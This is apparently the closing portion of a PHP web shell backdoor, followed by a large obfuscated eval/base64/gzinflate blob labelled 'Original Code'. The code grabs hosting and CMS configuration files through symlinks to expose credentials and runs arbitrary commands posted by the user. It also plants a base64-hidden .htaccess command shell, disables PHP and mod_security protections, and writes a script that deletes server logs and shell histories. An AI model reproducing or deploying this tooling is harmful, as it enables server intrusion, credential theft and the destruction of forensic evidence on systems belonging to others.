@symlink('/home/'.$user.'/public_html/central/configuration.php',$user.'-whm-central.txt');
@symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');
@symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');
@symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');
@symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmcs.txt');
@symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support.txt');
@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');
@symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-whmcs2.txt');
@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm.txt');}
echo '<b class="cone"><font face="Tahoma" color="#00dd00" size="2pt"><b>Done -></b> <a target="_blank" href="explodedcgrab">Open configs</a></font></b>';}
}
   ////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'about'))
    {@ini_set('output_buffering',0); 
		echo "
<table style=width:100%; border=0 class=tabnet cellpadding=3 cellspacing=1 align=center>

	<tr>
	<td valign=top bgcolor=#151515 class=style2 style=width: 139px>
	<center><b><font size=5 style=italic color=#00ff00>About</font></b></center></td></tr></table>
";
    ?><form action="?y=<?=$pwd; ?>&x=about" method="post"><center><br><br><div class='msupiani'><img src='http://oi58.tinypic.com/2u8fmnn.jpg'/></div>
<br><br><br><font size="10" color="#00ff00"><b>Thanks To :</b><br><br><br></font></center><center><marquee direction="up" scrollamount="2" bgcolor="" width="250" height="100"><center>
<p><b><font size="3" color="#00ff00">Allah S.W.T<br><br>My Parent<br>Yulia Susanti<br>All Member Security Exploded<br>1N73CTION<br>B374K<br>AnonGhost<br>WSO<br>C100<br>BlackShadow<br>Madspot<br><br>
=[ Grub & Forum ]=<br><br>Pentest & Security Indonesia<br>Kali Linux Indonesia<br>Surabaya Black Hat<br>Indonesian Backtrack Team<br><br><br><br>By<br>Security Exploded a.k.a ./Port22<br><br>Special Present To :<BR><center><img src="http://www.clker.com/cliparts/W/q/D/p/e/7/small-red-heart-with-transparent-background-hi.png" width='20' height='20'></center>Yulia Susanti<br><br>18 Mar 2014<br>
</font></b></p></center></marquee></center><embed src="<?=$music;?>" autostart="TRUE" loop="TRUE" width="0" height="0"></embed><br><br><br>
<?php
}
/////////////////////////////////////
elseif(isset($_GET['x']) && ($_GET['x'] == 'shell')){  ?><form action="?y=<?=$pwd; ?>&amp;x=shell" method="post"><table class="cmdbox">
<tr><td colspan="2"><textarea class="output" readonly><?php if(isset($_POST['submitcmd'])) { echo @exe($_POST['cmd']);} ?></textarea>
<tr><td colspan="2"><?=$prompt; ?><input onMouseOver="this.focus();" id="cmd" class="inputz" type="text" name="cmd" style="width:60%;" value="" /><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:12%;" /></td></tr>
</table></form><?php } 
else { 
if(isset($_GET['delete']) && ($_GET['delete'] != "")){
	$file = $_GET['delete'];
	@unlink($file);
}
elseif(isset($_GET['fdelete']) && ($_GET['fdelete'] != "")){
	@rmdir(rtrim($_GET['fdelete'],DIRECTORY_SEPARATOR));
}
elseif(isset($_GET['mkdir']) && ($_GET['mkdir'] != "")){
	$path = $pwd.$_GET['mkdir'];
	@mkdir($path);
}
	$buff = showdir($pwd,$prompt);
	echo $buff;
}
//////////////////////////////////////
?>
<br><table class="tabnet" >
<tr><form method="post" action="">&nbsp;<td><select class="inputzbut" align="left"  name="pilihan" id="pilih"><option value=""selected>------[ Select Your Favorit Tools ]------</option><option value="htasell">htaccess Shell [ .htaccess ]</option><option value="slc" >Server Log Cleaner [ serverLC.sh ]</option><option value="ini">Bypass Disable Function in Apache</option><option value="inis">Bypass Disable Function in Litespeed</option></select>
<input  type="submit" name="submites" class="inputzbut" value="Created">
</td></form></tr></table>
<?php
$submit = $_POST ['submites'];
if(isset($submit)) {
	$pilih = $_POST['pilihan'];
		if ( $pilih == 'ini') {
			$byphp = "safe_mode = Off 
 disable_functions = None 
 safe_mode_gid = OFF 
 open_basedir = OFF 
 allow_url_fopen = On";
			$byht = "<IfModule mod_security.c> 
 SecFilterEngine Off 
 SecFilterScanPOST Off 
  SecFilterCheckURLEncoding Off 
  SecFilterCheckUnicodeEncoding Off 
  </IfModule>";
			$iniphp = '<? 
 echo ini_get("safe_mode"); 
 echo ini_get("open_basedir"); 
 include($_GET["file"]); 
 ini_restore("safe_mode"); 
 ini_restore("open_basedir"); 
 echo ini_get("safe_mode"); 
 echo ini_get("open_basedir"); 
 include($_GET["ss"]; 
 ?>';
			file_put_contents("php.ini",$byphp);
			file_put_contents(".htaccess",$byht);
			file_put_contents("ini.php",$iniphp);
			echo "<script>alert('Disable Functions in Apache Created'); hideAll();</script>";
die();
		}
		elseif ( $pilih == 'inis') {
		$iniph = '<?php 
 echo ini_get("safe_mode"); 
 echo ini_get("open_basedir"); 
 include($_GET["file"]); 
 ini_restore("safe_mode"); 
 ini_restore("open_basedir"); 
 echo ini_get("safe_mode"); 
 echo ini_get("open_basedir"); 
 include($_GET["ss"]; 
 ?>';
			 $byph = "safe_mode = Off 
 disable_functions= ";
		$comp="PEZpbGVzICoucGhwPg0KRm9yY2VUeXBlIGFwcGxpY2F0aW9uL3gtaHR0cGQtcGhwNA0KPC9GaWxlcz4=";
		file_put_contents("php.ini",base64_decode($byph));
		file_put_contents("ini.php",base64_decode($iniph));
		file_put_contents(".htaccess",base64_decode($comp));
		echo "<script>alert('Disable Functions in Litespeed Created'); hideAll();</script>";
die();
		}
		
		elseif ( $pilih == 'slc') {
		$slc ="IyEvYmluL3NoDQojIFJlY29kZWQgQnkgLi9Qb3J0MjIgKE1TdXBpYW4pDQojIEdyMzN0eiA6IEFsbCBNZW1iZXJzIE9mIFNlY3VyaXR5IEV4cGxvZGVkDQojIGNobW9kIDA3NTUgc2VydmVyTEMuc2ggPj4gLi9zZXJ2ZXJMQy5zaA0KDQplY2hvICJbKl0gR29pbmcgVG8gRGVsZXRlIExvZyBTZXJ2ZXJzIC4uLiAiDQpmaW5kIC8gLW5hbWUgKi5iYXNoX2hpc3RvcnkgLWV4ZWMgcm0gLXJmIHt9IFw7DQpmaW5kIC8gLW5hbWUgKi5iYXNoX2xvZ291dCAtZXhlYyBybSAtcmYge30gXDsNCmZpbmQgLyAtbmFtZSAibG9nKiIgLWV4ZWMgcm0gLXJmIHt9IFw7DQpmaW5kIC8gLW5hbWUgKi5sb2cgLWV4ZWMgcm0gLXJmIHt9IFw7DQpybSAtcmYgL3RtcC9sb2dzDQpybSAtcmYgJEhJU1RGSUxFDQpybSAtcmYgL3Jvb3QvLmtzaF9oaXN0b3J5DQpybSAtcmYgL3Jvb3QvLmJhc2hfaGlzdG9yeQ0Kcm0gLXJmIC9yb290Ly5rc2hfaGlzdG9yeQ0Kcm0gLXJmIC9yb290Ly5iYXNoX2xvZ291dA0Kcm0gLXJmIC91c3IvbG9jYWwvYXBhY2hlL2xvZ3MNCnJtIC1yZiAvdXNyL2xvY2FsL2FwYWNoZS9sb2cNCnJtIC1yZiAvdmFyL2FwYWNoZS9sb2dzDQpybSAtcmYgL3Zhci9hcGFjaGUvbG9nDQpybSAtcmYgL3Zhci9ydW4vdXRtcA0Kcm0gLXJmIC92YXIvbG9ncw0Kcm0gLXJmIC92YXIvbG9nDQpybSAtcmYgL3Zhci9hZG0NCnJtIC1yZiAvZXRjL3d0bXANCnJtIC1yZiAvZXRjL3V0bXANCg0KZWNobyAiWypdIERvbmUgLiBHb29kIEx1Y2sgOyki";
		file_put_contents("serverLC.sh",base64_decode($slc));
		echo "<script>alert('Server Log Cleaner [ serverLC.sh ] Created'); hideAll();</script>";
		die();
		}
		elseif ( $pilih == 'htasell') {
		$ht = 'PEZpbGVzIH4gIl5cLmh0Ij4NCk9yZGVyIGFsbG93LGRlbnkNCkFsbG93IGZyb20gYWxsDQo8L2ZpbGVzPg0KQWRkVHlwZSBhcHBsaWNhdGlvbi94LWh0dHBkLXBocCAuaHRhY2Nlc3MNCiMgPD9waHAgcGFzc3RocnUoJF9HRVRbJ2NtZCddKTs/Pg0K';
		file_put_contents(".htaccess",base64_decode($ht));
		echo "<script>alert('htaccess Shell [ .htaccess ] Created : open in site/.htaccess?cmd= '); hideAll();</script>";
		die();
		}
		
	}
	
?><br><br> <div class="footer"><b style="color:$color;font-family:monotype corsiva;font-size:22;"><?=$title; ?> <?=$versi ?> Shell Backdoor</b></div>
<div class="jaya">  &copy; <?=date('Y',time()); ?> <a href=""><?=$xName ?></a></div></div>
</body>
</html>

Did this file decode correctly?

Original Code

@eval(str_rot13(gzinflate(str_rot13(base64_decode("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